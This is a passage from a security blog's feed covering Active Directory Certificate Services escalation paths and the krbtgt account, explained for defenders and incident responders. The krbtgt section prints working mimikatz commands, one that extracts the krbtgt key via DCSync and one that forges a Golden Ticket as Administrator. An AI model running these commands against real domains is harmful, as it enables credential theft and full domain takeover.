&lt;li&gt;&lt;strong&gt;&quot;Credential Guard protects against ESC.&quot;&lt;/strong&gt; Wrong. &lt;a href=&quot;https://paragmali.com/blog/the-empty-hash-credential-guard-the-lsaiso-trustlet-and-the-/&quot; rel=&quot;noopener&quot;&gt;Credential Guard&apos;s LSAISO&lt;/a&gt; isolates LSASS-resident credentials from the rest of the OS. AD CS abuse does not touch LSAISO; the certificate is issued by the CA against a request submitted over a network protocol. The credential never leaves the attacker&apos;s machine in a form Credential Guard could isolate.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&quot;Disabling Web Enrollment closes AD CS.&quot;&lt;/strong&gt; Partial. Disabling the AD CS Web Enrollment role service closes ESC8 (the HTTP relay primitive). It does not affect ESC1 through ESC7 (template, ACL, and CA-config attacks), ESC11 (RPC relay), or any of the mapping ESCs. The default RPC enrollment transport on every Enterprise CA is unaffected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&quot;If we patch CVE-2022-26923 we&apos;re done.&quot;&lt;/strong&gt; Wrong. CVE-2022-26923 closes the specific &lt;code&gt;dNSHostName&lt;/code&gt; machine-account-impersonation chain. It does not close ESC1, ESC4, or any of the configuration ESCs that the same operator chain could have taken.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&quot;Reset krbtgt twice and we have evicted the attacker.&quot;&lt;/strong&gt; Wrong. The double-krbtgt-reset playbook is well-suited for Golden Ticket eviction. It is not effective against an attacker who has issued a long-validity authentication certificate from a CA the attacker controls or has compromised. The issued certificate authenticates against the new krbtgt the same way it did against the old one, because PKINIT does not bind the certificate&apos;s authority to the symmetric krbtgt key.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Run Locksmith this week. Tag NTAuth CAs as Tier Zero in BloodHound. Schedule the Lane 3 rebuild playbook before you need it. The catalog grew faster than the patches; the defender&apos;s only working strategy is parallel work in all four lanes.&lt;/p&gt;
&lt;h2&gt;11. Frequently Asked Questions&lt;/h2&gt;

The SID extension is on by default for any CA running an OS that has installed KB5014754 or later. The catch is what the *KDC* does with that extension. Switching the KDC to Full Enforcement breaks every certificate that lacks the SID extension, which is why Microsoft built the three-mode staged rollout: the §7 timeline anchors the compatibility window (mechanics and the Feb 11, 2025 / Sep 9, 2025 milestones), and the §9 Callout carries the verbatim KB5014754 dates and the customer compatibility-friction set (legacy SCEP, Intune PKCS, non-Microsoft PKI, third-party smart cards). ESC16 closes the loop in the other direction: an admin (or a compromised admin) can re-disable the extension at the CA level, recreating the weak-mapping condition KB5014754 was designed to close.

Partially. The on-premises ESC catalog enumerates misconfigurations of the on-premises AD CS role. Entra Cloud PKI is a Microsoft-operated SaaS CA whose substrate is not the on-premises AD CS Windows role at all -- so ESCs that abuse on-premises CA registry flags (ESC6, ESC16), on-premises CA DACLs (ESC5, ESC7), or the on-premises transport (ESC8, ESC11) do not transfer directly. But Cloud PKI still issues authentication certificates, still has a template-equivalent administrative surface, and still maps certificates onto AD or Entra principals. The community has not yet published a Cloud PKI ESC catalog; the open question is whether the cross-product of Cloud PKI&apos;s primitive surface and its mapping behavior has its own equivalent class of named misconfigurations.

No. A two-tier hierarchy improves protection of the *root* CA&apos;s private key (the root signs only the subordinate&apos;s certificate and stays offline) but does nothing for the subordinate. The ESC catalog attacks the issuing subordinate, not the root. The misconfigured Enrollee-Supplies-Subject template, the editable `EDITF_ATTRIBUTESUBJECTALTNAME2` registry flag, the per-template DACL, the NTLM-relayable Web Enrollment endpoint -- all live on the subordinate CA. A two-tier hierarchy is the right architecture and is essentially orthogonal to the ESC discussion.

No. Smart cards are *consumers* of certificates issued by AD CS; the smart-card pipeline reads a certificate off the card, presents it to PKINIT, and receives a TGT. AD CS is the *issuing* substrate. Every ESC attacks the issuance side. A smart-card deployment depends on AD CS being correctly configured; it adds no defense against ESC1 through ESC16 and may add complexity in the strong-mapping migration (smart-card-issued certificates may use legacy mappings that break under Full Enforcement).

No. BloodHound CE does not ship a numbered `ADCSESC8` edge. It ships `CoerceAndRelayNTLMToADCS`, an edge representing &quot;a computer can be SMB-coerced to authenticate to an attacker host, and the attacker host can relay that authentication to an ESC8-vulnerable Web Enrollment endpoint on a CA&quot; [@bh-coerce-adcs-edge]. Look for that edge, not for a numbered ESC8 edge. If `CoerceAndRelayNTLMToADCS` paths exist anywhere in the graph, your Web Enrollment endpoint is ESC8-exposed and the operator chain from any coercible computer to a Domain Admin authenticator runs in eight minutes.

ESC12 is treated in the §5 Aside: Knobloch&apos;s October 2023 YubiHSM hardware-substrate disclosure (earliest Wayback snapshot dated October 24, 2023), scoped out of the body because the abuse depends on the specific HSM vendor and on shell access to the CA host [@knobloch-esc12] [@knobloch-esc12-archive]. ESC0 does not exist in the SpecterOps catalog; some operator blogs use &quot;ESC0&quot; informally to describe naive enumeration (no abuse, just &quot;the CA is reachable and the template store is readable&quot;) but it is not a community-named technique.
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;ad-cs-esc-catalog&quot; keyTerms={[
  { term: &quot;PKINIT&quot;, definition: &quot;RFC 4556 protocol extension that lets a client authenticate to Kerberos with a certificate and receive a TGT.&quot; },
  { term: &quot;NTAuthCertificates&quot;, definition: &quot;Forest-wide AD container listing CA certificates trusted by the KDC for client authentication. Publication here makes a CA&apos;s key a trust root parallel to krbtgt.&quot; },
  { term: &quot;ENROLLEE_SUPPLIES_SUBJECT&quot;, definition: &quot;msPKI-Certificate-Name-Flag bit (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) that lets the requester specify the certificate Subject or SAN; primary primitive of ESC1.&quot; },
  { term: &quot;EDITF_ATTRIBUTESUBJECTALTNAME2&quot;, definition: &quot;CA-side registry flag that lets any request include a SAN of choice; primary primitive of ESC6.&quot; },
  { term: &quot;szOID_NTDS_CA_SECURITY_EXT&quot;, definition: &quot;OID 1.3.6.1.4.1.311.25.2; certificate extension carrying the requester SID. Introduced in KB5014754; load-bearing element of strong mapping.&quot; },
  { term: &quot;Strong vs Weak Mapping&quot;, definition: &quot;Per KB5014754: X509IssuerSerialNumber, X509SKI, X509SHA1PublicKey are strong; UPN, SAN, and other formats are weak and rejected under Full Enforcement.&quot; },
  { term: &quot;ADCSESC1&quot;, definition: &quot;BloodHound CE edge representing an ESC1 path: low-priv principal can enroll into a template with ESS + Client Authentication EKU.&quot; },
  { term: &quot;CoerceAndRelayNTLMToADCS&quot;, definition: &quot;BloodHound CE edge representing the ESC8 chain: SMB-coerce a computer, relay NTLM auth to the CA&apos;s Web Enrollment endpoint, get a certificate impersonating the coerced computer.&quot; }
]} questions={[
  { q: &quot;Why does rotating krbtgt not close the AD CS escalation paths?&quot;, a: &quot;Because every NTAuth-published CA&apos;s private key is a separate authenticator-minting trust root parallel to krbtgt. PKINIT honors any valid certificate signed by an NTAuth CA. Rotating krbtgt does not touch those private keys.&quot; },
  { q: &quot;Of the sixteen named ESCs, how many have received CVE-class Microsoft patches and which ones?&quot;, a: &quot;Three: CVE-2022-26923 (Certifried, the dNSHostName impersonation chain, May 2022), CVE-2024-49019 (EKUwu / ESC15, V1 template Application Policies override, November 2024), and the KB5005413 NTLM-relay hardening track for ESC8 (July 2021, configuration guidance rather than a binary patch).&quot; },
  { q: &quot;What is the difference between ESC8 and ESC11, and why does BloodHound CE graph one but not the other?&quot;, a: &quot;Both are NTLM relay attacks against AD CS. ESC8 relays to the HTTP Web Enrollment role service (/certsrv/). ESC11 relays to the default RPC enrollment transport (ICertPassage). BloodHound graphs ESC8 as the CoerceAndRelayNTLMToADCS edge because SMB coercion plus HTTP relay has a stable principal-graph shape; ESC11&apos;s RPC trigger (IF_ENFORCEENCRYPTICERTREQUEST not set) does not have an equivalent coercion gadget that the principal-graph model can express.&quot; },
  { q: &quot;Which ESC bypasses KB5014754&apos;s strong-mapping enforcement?&quot;, a: &quot;ESC16. The CA&apos;s DisableExtensionList registry value can list the szOID_NTDS_CA_SECURITY_EXT OID, instructing the CA to omit the SID extension from every certificate it issues. The KDC then falls back to weak mapping for those certificates, defeating the strong-mapping enforcement.&quot; },
  { q: &quot;What is the recommended Lane 3 response if a CA&apos;s private key is suspected compromised?&quot;, a: &quot;Revoke the CA&apos;s chain, decommission the CA, build a replacement on new hardware, publish the new CA into NTAuthCertificates, distrust the old CA&apos;s certificates throughout the forest, and re-issue every credential that depended on the compromised CA. A multi-week IR operation analogous in scale to a forest rebuild for krbtgt compromise.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>active-directory</category><category>ad-cs</category><category>pkinit</category><category>kerberos</category><category>red-team</category><category>security</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>KRBTGT: The Account That Owns Active Directory</title><link>https://paragmali.com/blog/krbtgt-the-account-that-owns-active-directory/</link><guid isPermaLink="true">https://paragmali.com/blog/krbtgt-the-account-that-owns-active-directory/</guid><description>Active Directory ships with one cryptographic key whose disclosure forges valid TGTs for every principal -- and why rotating it is necessary but not sufficient.</description><pubDate>Sat, 23 May 2026 00:00:00 GMT</pubDate><content:encoded>
Active Directory&apos;s `krbtgt` account is the one secret in any Windows domain whose disclosure forges valid Ticket-Granting Tickets for every principal -- including ones that do not exist. Twelve years of attacks (Golden, Diamond, Sapphire) and Microsoft&apos;s responses (the MS14-068 patch, KrbtgtFullPacSignature, the two-reset rotation procedure) converge on one fact: krbtgt rotation invalidates forged TGTs but does not recover the systemic compromise that produced them. That distinction is why confirmed krbtgt compromise is a forest-rebuild event in modern incident-response playbooks, not a key-rotation event.
&lt;h2&gt;1. Ninety Seconds to Domain Admin&lt;/h2&gt;
&lt;p&gt;A single &lt;code&gt;mimikatz kerberos::golden&lt;/code&gt; command, with the krbtgt account&apos;s AES-256 long-term key in hand, walks the attacker onto any resource in the domain as Administrator. No Domain Admin password was reset. No Domain Admin account was created. No SACL on a sensitive object fired. No LSASS on any host was dumped. No signature-based IDS rule triggered. The attacker holds exactly one cryptographic key -- the long-term key of the RID-502 service account named &lt;code&gt;krbtgt&lt;/code&gt; -- and the entire Kerberos trust hierarchy of the domain now accepts whatever they sign [@mitre-t1558001]. The section title&apos;s &quot;ninety seconds&quot; is an illustration of how fast the attack is on the wall clock, not a measured demonstration from a published primary.&lt;/p&gt;
&lt;p&gt;The operator sequence is short enough to quote. Earlier in the engagement, the attacker ran &lt;code&gt;lsadump::dcsync /user:contoso\krbtgt&lt;/code&gt; from a member-server foothold and walked off with the krbtgt long-term key material [@mimikatz]. Then they switched tools to forge a ticket from scratch:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mimikatz # kerberos::golden /domain:contoso.local
                            /sid:S-1-5-21-1004336348-1177238915-682003330
                            /aes256:&amp;lt;key&amp;gt;
                            /user:Administrator /id:500
                            /groups:512,513,518,519,520 /ptt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That single command, documented by Sean Metcalf for operators in 2015 [@adsec-1640], does the forgery in process memory, injects the ticket into the local Kerberos cache (&lt;code&gt;/ptt&lt;/code&gt; = pass-the-ticket), and lets the next &lt;code&gt;dir \\dc01\admin&lt;/code&gt; succeed.&lt;/p&gt;
&lt;p&gt;Count the controls that did not fire while the forged ticket was being minted and presented. No Domain Admin password reset, because the attacker never used a Domain Admin password. No new privileged account, because the attacker impersonated an existing one (RID 500). No SACL on a sensitive object, because the ticket was already approved by the Kerberos trust root before any object was touched. No LSASS dump on a writeable DC, because &lt;a href=&quot;https://paragmali.com/blog/two-checkmarks-and-the-keys-to-the-kingdom-how-active-direct/&quot; rel=&quot;noopener&quot;&gt;DCSync&lt;/a&gt; is a replication API call, not a memory scrape [@mitre-t1003006]. No IDS hit on a known-malicious payload, because Mimikatz lives in attacker process memory and the wire traffic is, structurally, a TGS-REQ. No anomalous logon time, MFA prompt, or Conditional Access decision, because Kerberos pre-authentication is satisfied by holding a valid TGT and the TGT was minted offline.&lt;/p&gt;
&lt;p&gt;The article&apos;s load-bearing thesis: within the Kerberos trust root of a single domain, the krbtgt key is the unique secret whose disclosure yields valid TGTs for every principal -- including ones that do not exist. The technical recovery (two-reset rotation) is well-documented [@ms-forest-recovery] and does cryptographically invalidate forged tickets. But the operational recovery from a confirmed krbtgt compromise is a forest-rebuild event for reasons that have nothing to do with the krbtgt key itself.&lt;/p&gt;
&lt;p&gt;This produces an apparent contradiction. Microsoft documents a clean two-reset rotation procedure with a ten-hour interval [@ms-forest-recovery]; Mandiant- and SpecterOps-style incident-response playbooks treat confirmed krbtgt compromise as a forest-rebuild event [@specterops-dot2]. Both statements are simultaneously true. The job of the next ten thousand words is to explain why -- starting with what krbtgt actually is. Not the key. Not the protocol. The account itself: RID 502, disabled, indelible.&lt;/p&gt;
&lt;h2&gt;2. The Account: RID 502, Disabled, Indelible&lt;/h2&gt;
&lt;p&gt;Open Active Directory Users and Computers on a fresh Windows Server 2022 domain promoted ten seconds ago. In the &lt;code&gt;Users&lt;/code&gt; container there is an account called &lt;code&gt;krbtgt&lt;/code&gt;. It has no password visible to the admin. It is disabled. Try to enable it -- the checkbox accepts the click, but the next replication cycle puts the account right back into the disabled state. Try to rename it -- the operation appears to succeed, but the &lt;code&gt;objectSID&lt;/code&gt; does not change. Try to delete it -- the operation fails outright. You cannot log in as it; the disabled-for-interactive-logon property is enforced inside the Security Accounts Manager. The account exists exactly because the domain exists; the lifetime of the account and the lifetime of the domain are the same lifetime [@ms-default-accounts].&lt;/p&gt;
&lt;p&gt;Why does Active Directory ship with an account that no admin can use, no attacker can authenticate as interactively, and no operator can remove?&lt;/p&gt;

The Kerberos Ticket-Granting Ticket service account that exists, exactly once per Active Directory domain, to hold the long-term cryptographic key the domain controllers use to encrypt and sign every TGT issued in the domain. The account name itself is the Kerberos principal name (`krbtgt/DOMAIN@DOMAIN`) inherited from MIT&apos;s 1988 Kerberos v4 design.
&lt;p&gt;&lt;strong&gt;Creation.&lt;/strong&gt; The account is created automatically when the first writeable domain controller is promoted in a new domain. The Microsoft Learn default-accounts page lists it alongside &lt;code&gt;Administrator&lt;/code&gt; and &lt;code&gt;Guest&lt;/code&gt; as one of the three default local accounts in the &lt;code&gt;Users&lt;/code&gt; container, with the verbatim note that &quot;the KRBTGT account can&apos;t be enabled in Active Directory&quot; [@ms-default-accounts]. The account&apos;s lifecycle is bound to the domain&apos;s lifecycle; there is no operator-controllable provisioning of a krbtgt account, and no de-provisioning short of demoting the domain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RID 502.&lt;/strong&gt; The relative identifier at the tail of the account&apos;s SID (&lt;code&gt;S-1-5-21-&amp;lt;domain&amp;gt;-502&lt;/code&gt;) is fixed by the well-known SID specification [@ms-sids]. Sean Metcalf&apos;s operator primer confirms the RID-502 binding directly: &quot;Each Active Directory domain has an associated KRBTGT account ... The SID for the KRBTGT account is &lt;code&gt;S-1-5-&amp;lt;domain&amp;gt;-502&lt;/code&gt;&quot; [@adsec-483].RIDs 500 through 1000 are reserved for built-in security principals; 500 is Administrator, 501 is Guest, 502 is krbtgt. Renaming the &lt;code&gt;sAMAccountName&lt;/code&gt; cannot move the RID. The KDC service derives its key lookups from the principal name, which binds to the RID, not from the friendly name shown in ADUC. Renaming krbtgt as a defensive measure is a fallacy that the next section will sharpen further.&lt;/p&gt;
&lt;p&gt;Each Read-Only Domain Controller has its own &lt;code&gt;krbtgt_&amp;lt;rid&amp;gt;&lt;/code&gt; account whose key signs only that RODC&apos;s tickets. The full-domain krbtgt account is read-only from the RODC&apos;s perspective -- the design property that lets RODCs participate in Kerberos without holding the full-domain trust root [@adsec-483].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Container.&lt;/strong&gt; &lt;code&gt;CN=Users,DC=&amp;lt;domain&amp;gt;&lt;/code&gt;. The standard Users container, not a Tier-0 OU or a Protected Users group. The account is privileged by virtue of its RID, not by virtue of its containership. Moving it into a different container does not change its semantic role to the KDC.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disabled for interactive logon.&lt;/strong&gt; Documented verbatim on the Microsoft Learn default-accounts page: &quot;The KRBTGT account can&apos;t be enabled in Active Directory&quot; [@ms-default-accounts]. The account is reserved for the KDC service. There is no interactive logon surface attached, no LSA logon-rights grant, no Kerberos pre-authentication path that produces a TGT &lt;em&gt;for&lt;/em&gt; the krbtgt account itself. The account exists to provide a key, not to authenticate.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Indelible and unrenamable.&lt;/strong&gt; Also from the same Microsoft Learn page: &quot;This account can&apos;t be deleted, and the account name can&apos;t be changed&quot; [@ms-default-accounts]. ADUC will show a renamed display, but the underlying object identity (the RID, the principal name) is fixed by the directory schema and by &lt;code&gt;LsaSrv&lt;/code&gt; enforcement on the writeable DCs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Password.&lt;/strong&gt; System-generated, unknown to operators by design. Resetting it via ADUC produces a value Active Directory immediately replaces with a fresh system-generated value. The mechanism that produces the current key is therefore not operator-controllable; rotation is the only primitive operators have over the key value [@ms-forest-recovery].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Password history equals 2.&lt;/strong&gt; Documented verbatim on the AD Forest Recovery page: &quot;The password history value for the krbtgt account is 2, meaning it includes the two most recent passwords&quot; [@ms-forest-recovery]. This is the mechanical foundation for the two-reset procedure Section 7 will dissect. The KDC keeps both a &lt;em&gt;current&lt;/em&gt; and a &lt;em&gt;previous&lt;/em&gt; key in the krbtgt account; in-flight TGT validation tries both during the brief window after a rotation; one reset retires only the older of the two; a second reset, separated by at least the maximum ticket lifetime, evicts the key the attacker held.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Where the key lives.&lt;/strong&gt; The KDC service (&lt;code&gt;kdcsvc.dll&lt;/code&gt;) on every writeable DC reads the krbtgt long-term key from &lt;code&gt;ntds.dit&lt;/code&gt; at startup and holds it in process memory for ticket signing and validation. &lt;a href=&quot;https://paragmali.com/blog/the-empty-hash-credential-guard-the-lsaiso-trustlet-and-the-/&quot; rel=&quot;noopener&quot;&gt;Credential Guard&lt;/a&gt;&apos;s VBS trustlet -- LSAISO -- does not isolate this read on writeable DCs by design: a DC &lt;em&gt;must&lt;/em&gt; read the key to issue tickets [@ms-credential-guard] (see also §10 Aside on why Credential Guard skips the DC). This is the structural asymmetry that makes the krbtgt key reachable to any attacker who can compromise a writeable DC (or invoke its replication API remotely), even on a system where Credential Guard is otherwise enforced everywhere else.&lt;/p&gt;
&lt;p&gt;We know what the account is now: a non-interactive, indelible, RID-502 service principal with a system-generated, two-slot password history. But the account is just the container. The rest of the article cares about the &lt;em&gt;long-term cryptographic key&lt;/em&gt; it holds.&lt;/p&gt;
&lt;h2&gt;3. The Key: What RFC 4120 and [MS-KILE] Specify&lt;/h2&gt;
&lt;p&gt;Hand a network capture of a Kerberos AS-REP to a Wireshark dissector. The dissector shows the TGT as a sequence of ASN.1 fields. One field is named &lt;code&gt;enc-part&lt;/code&gt; and its content is opaque. The dissector knows the format of what is &lt;em&gt;inside&lt;/em&gt; that opaque blob -- an &lt;code&gt;EncTicketPart&lt;/code&gt; -- but it cannot show the field values because the blob is encrypted [@rfc4120]. Encrypted under what? Under one key: the long-term key of the principal named &lt;code&gt;krbtgt/CONTOSO.LOCAL@CONTOSO.LOCAL&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The Microsoft specification puts it as plainly as is possible to put it. [MS-KILE] specifies that the KDC encrypts every ticket using the long-term cryptographic key of the krbtgt principal, citing RFC 4120 §5.2.2 [@mskile]. That sentence, more than any other in the Microsoft Open Specifications corpus, is the cryptographic foundation of Active Directory authentication. Every TGT issued by every writeable DC in the domain is encrypted under one key. There is no per-account key, no per-DC key, no rolling subkey. One key, one trust scope.&lt;/p&gt;

The credential the Kerberos Key Distribution Center issues at logon, encrypted under the KDC&apos;s own service key (in Windows, the krbtgt account&apos;s long-term key), that the client subsequently presents to request service tickets without re-authenticating with a password. RFC 4120 §5.3 defines its fields; [MS-KILE] specifies the Windows wire profile [@rfc4120][@mskile].

The Kerberos service that issues TGTs (the Authentication Service) and exchanges TGTs for service tickets (the Ticket-Granting Service). In Active Directory the KDC runs as `kdcsvc.dll` on every writeable domain controller; it holds the krbtgt long-term key in process memory for the lifetime of the service [@rfc4120].
&lt;h3&gt;Inside the encrypted blob&lt;/h3&gt;
&lt;p&gt;RFC 4120 §5.3 specifies the fields of the &lt;code&gt;EncTicketPart&lt;/code&gt;: a session key the KDC generates for this TGT, the client&apos;s name, the cross-domain transit path, the timestamps (&lt;code&gt;authtime&lt;/code&gt;, &lt;code&gt;starttime&lt;/code&gt;, &lt;code&gt;endtime&lt;/code&gt;, &lt;code&gt;renew-till&lt;/code&gt;), the optional client-address list, and a final field of &lt;code&gt;authorization-data&lt;/code&gt; that Windows uses to carry the Privilege Attribute Certificate [@rfc4120].&lt;/p&gt;

The Windows-specific data structure embedded inside the `authorization-data` field of every Kerberos ticket. The PAC carries the user&apos;s SID, the SIDs of every group the user belongs to, account restrictions, profile path, logon server, and a small set of cryptographic signatures the KDC computes to bind the structure to the ticket. Defined in [MS-PAC] [@mspac].
&lt;p&gt;The PAC is where the load-bearing security claim of Windows Kerberos lives. RFC 4120 itself does not care about groups; it cares about whether the client can prove identity to a server. The PAC carries the &lt;em&gt;authorization&lt;/em&gt; layer Windows needs on top of authentication: which security principal the ticket represents, which groups confer which permissions, which restrictions apply [@mspac]. The first thing a Windows file server does when it receives a service ticket is decode the PAC, read the SIDs, and run the access-check algorithm.&lt;/p&gt;
&lt;h3&gt;The three signatures inside every PAC&lt;/h3&gt;
&lt;p&gt;The PAC is integrity-protected by a small set of signatures the KDC computes when it issues the ticket. As of the [MS-PAC] revision 26.0 dated June 10, 2024 [@mspac], a TGT-resident PAC carries three of them:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The PAC server signature.&lt;/strong&gt; A keyed HMAC computed under the &lt;em&gt;service&lt;/em&gt; key. For a TGT the service is &lt;code&gt;krbtgt/DOMAIN&lt;/code&gt;, so the server signature is computed under the krbtgt long-term key. For a service ticket the server signature is computed under the service account&apos;s long-term key (the file server&apos;s machine-account key, for example) [@mspac].&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The PAC KDC signature.&lt;/strong&gt; A keyed HMAC computed under the krbtgt long-term key, signing the bytes of the server signature. This is the pre-2022 anchor of PAC integrity: even if a service holding only its own key could verify the server signature, only the KDC (or anyone holding the krbtgt key) could compute the matching KDC signature. The &quot;pre-2022&quot; framing tracks the deployment of KB5020805&apos;s Full PAC Signature, documented in §5 Generation 6 [@kb5020805].&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Full PAC Signature.&lt;/strong&gt; Added by Microsoft&apos;s response to CVE-2022-37967, deployed via KB5020805 starting November 8, 2022 and enforced by default since July 11, 2023 [@kb5020805][@cve-2022-37967]. Computed by the KDC over the &lt;em&gt;entire&lt;/em&gt; PAC -- including the older two signatures -- and stored alongside them. Also computed under the krbtgt long-term key.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;

flowchart TD
    PAC[PAC contents: SIDs, groups, restrictions] --&amp;gt; SSig[Server Signature]
    PAC --&amp;gt; KSig[KDC Signature]
    PAC --&amp;gt; FSig[Full PAC Signature]
    SSig --&amp;gt; KEY[&quot;krbtgt long-term key (TGT)&quot;]
    KSig --&amp;gt; KEY
    FSig --&amp;gt; KEY
    KEY --&amp;gt; TGT[EncTicketPart for TGT]
    TGT --&amp;gt; WIRE[AS-REP / TGS-REP on the wire]
&lt;p&gt;This is the architectural fact the rest of the article will refer back to. The addition of the Full PAC Signature did not relocate the trust to a different key. All three PAC signatures on a TGT terminate at the krbtgt long-term key. An attacker who holds the krbtgt key computes all three correctly in the same step. This is the precise technical observation that motivates the Section 5 attack cascade and the Section 7 rotation analysis.&lt;/p&gt;
&lt;h3&gt;The enctype matrix&lt;/h3&gt;
&lt;p&gt;The krbtgt account does not hold a single key; it holds a set of keys, one per Kerberos encryption type advertised in &lt;code&gt;msDS-SupportedEncryptionTypes&lt;/code&gt; on the account object. RFC 4120 §5.2.9 defines the enctype numbers; common Windows values are AES-256-CTS-HMAC-SHA1-96 (enctype 18), AES-128 (enctype 17), and the legacy RC4-HMAC (enctype 23) [@rfc4120]. AES-256 has been the recommended default for newly-provisioned krbtgt accounts since the Windows Server 2008 R2 / Windows Server 2012 functional levels, though early Windows Server 2008 deployments often required a krbtgt password reset to materialise the AES keys. The post-2017 AES-SHA2 family (enctypes 19 and 20) is defined by IETF but not deployed in mainline Windows production as of [MS-KILE] revision 47.0 dated April 27, 2026 [@mskile].&lt;/p&gt;

A numeric identifier for the cryptographic algorithm and key length used to encrypt a Kerberos message. RFC 4120 §5.2.9 enumerates them; common Windows values are 17 (AES-128), 18 (AES-256), and 23 (the legacy RC4-HMAC). Each principal&apos;s long-term key is derived per enctype, so the krbtgt account stores multiple key derivations side by side [@rfc4120].
&lt;p&gt;Each derivation is stored in both &lt;em&gt;current&lt;/em&gt; and &lt;em&gt;previous&lt;/em&gt; slots; rotating the krbtgt password rederives the entire set for the new password and shifts the previous derivations into the previous slot.&lt;/p&gt;
&lt;h3&gt;FAST armoring sits next to, not above, the krbtgt key&lt;/h3&gt;
&lt;p&gt;RFC 6113 / [MS-KILE] Flexible Authentication Secure Tunneling adds a second key layer for the client-facing pre-authentication exchange, armoring the AS-REQ under a separate channel key derived from a TGT the client already holds. FAST hardens pre-authentication against offline brute-force. It does not change the fact that the TGT&apos;s &lt;code&gt;enc-part&lt;/code&gt; is encrypted under the krbtgt key on its way back to the client [@mskile]. No Kerberos extension shipped through 2026 moves the TGT&apos;s trust anchor anywhere other than the krbtgt long-term key.&lt;/p&gt;

Within a Kerberos domain, every TGT reduces to the same key, and that key has a name: krbtgt.
&lt;p&gt;That sentence is the load-bearing claim the rest of the article rests on. The next section explains how a 1988 academic design decision became the cryptographic foundation of every Windows domain alive today.&lt;/p&gt;
&lt;p&gt;{`
// Simplified model of the three PAC signatures on a TGT.
// Each signature is a keyed HMAC computed under the krbtgt long-term key.
const pacContents = &quot;SIDs, groups, restrictions&quot;;
const krbtgtKey = &quot;&amp;lt;32-byte AES-256 long-term key&amp;gt;&quot;;&lt;/p&gt;
&lt;p&gt;function hmac(key, data) {
  return key === krbtgtKey
    ? &quot;SIG(&quot; + data + &quot;)&quot;           // attacker-with-key computes valid sigs
    : &quot;INVALID&quot;;                    // attacker-without-key cannot forge them
}&lt;/p&gt;
&lt;p&gt;function buildPACBlock(attackerKey) {
  const serverSig = hmac(attackerKey, pacContents);
  const kdcSig    = hmac(attackerKey, serverSig);
  const fullPAC   = hmac(attackerKey, pacContents + serverSig + kdcSig);
  const validates = [serverSig, kdcSig, fullPAC].every(s =&amp;gt; s !== &quot;INVALID&quot;);
  return { serverSig, kdcSig, fullPAC, validates };
}&lt;/p&gt;
&lt;p&gt;console.log(&quot;with krbtgt key   :&quot;, buildPACBlock(krbtgtKey).validates);
console.log(&quot;without krbtgt key:&quot;, buildPACBlock(&quot;guess-key&quot;).validates);
`}&lt;/p&gt;
&lt;h2&gt;4. Origins: 1988 Athena, RFC 4120, [MS-KILE]&lt;/h2&gt;
&lt;p&gt;Open the bibliography of RFC 4120 and find an entry tagged &lt;code&gt;[Ste88]&lt;/code&gt;: &quot;Steiner, J., Neuman, C., and J. Schiller, &apos;Kerberos: An Authentication Service for Open Network Systems,&apos; USENIX Conference Proceedings, February 1988&quot; [@rfc4120]. The principal name &lt;code&gt;krbtgt&lt;/code&gt; is in that paper. It has been carried forward unchanged through RFC 1510 (1993) [@rfc1510], through Active Directory&apos;s February 2000 release, through RFC 4120 (2005) [@rfc4120], through the first [MS-KILE] revision (2007), and into the current [MS-KILE] revision 47.0 dated April 27, 2026 [@mskile]. Thirty-eight years.&lt;/p&gt;
&lt;p&gt;What did the 1988 design decision look like, and what has changed about its security properties since?&lt;/p&gt;
&lt;h3&gt;MIT Project Athena, 1983-1991&lt;/h3&gt;
&lt;p&gt;Project Athena ran at MIT from 1983 to 1991 as a campus-scale distributed-computing experiment funded primarily by IBM and DEC [@project-athena]. The authentication problem Athena needed to solve was the one every multi-user network has needed to solve since: how do you let thousands of workstations talk to thousands of services without broadcasting cleartext passwords on every connection? Steiner, Neuman, and Schiller presented their answer at the Winter USENIX conference in Dallas in February 1988. Their design introduced the &lt;code&gt;krbtgt&lt;/code&gt; principal name and the trust property that one key encrypts every TGT in the Kerberos domain [@athena1988].&lt;/p&gt;
&lt;p&gt;The principal name &lt;code&gt;krbtgt&lt;/code&gt; predates Active Directory by twelve years. MIT&apos;s 1988 USENIX paper used the name, RFC 1510 standardised it in 1993 [@rfc1510], and Windows 2000 inherited it unchanged. There is no Microsoft-specific Kerberos principal naming convention; the convention is IETF.&lt;/p&gt;
&lt;p&gt;The design property that one key encrypts every TGT was not framed in 1988 as a security risk. It was framed as a &lt;em&gt;simplification&lt;/em&gt;: by giving the TGS one stable identity that issues every TGT, the protocol does not need to negotiate per-session KDC identities or per-server validation paths. The protocol reduces, mathematically, to two questions: did the KDC issue this TGT, and did the TGT permit the subsequent TGS-REQ for this service? Both reduce to &quot;does this signature validate under the krbtgt key?&quot;&lt;/p&gt;
&lt;h3&gt;From RFC 1510 to [MS-KILE]&lt;/h3&gt;
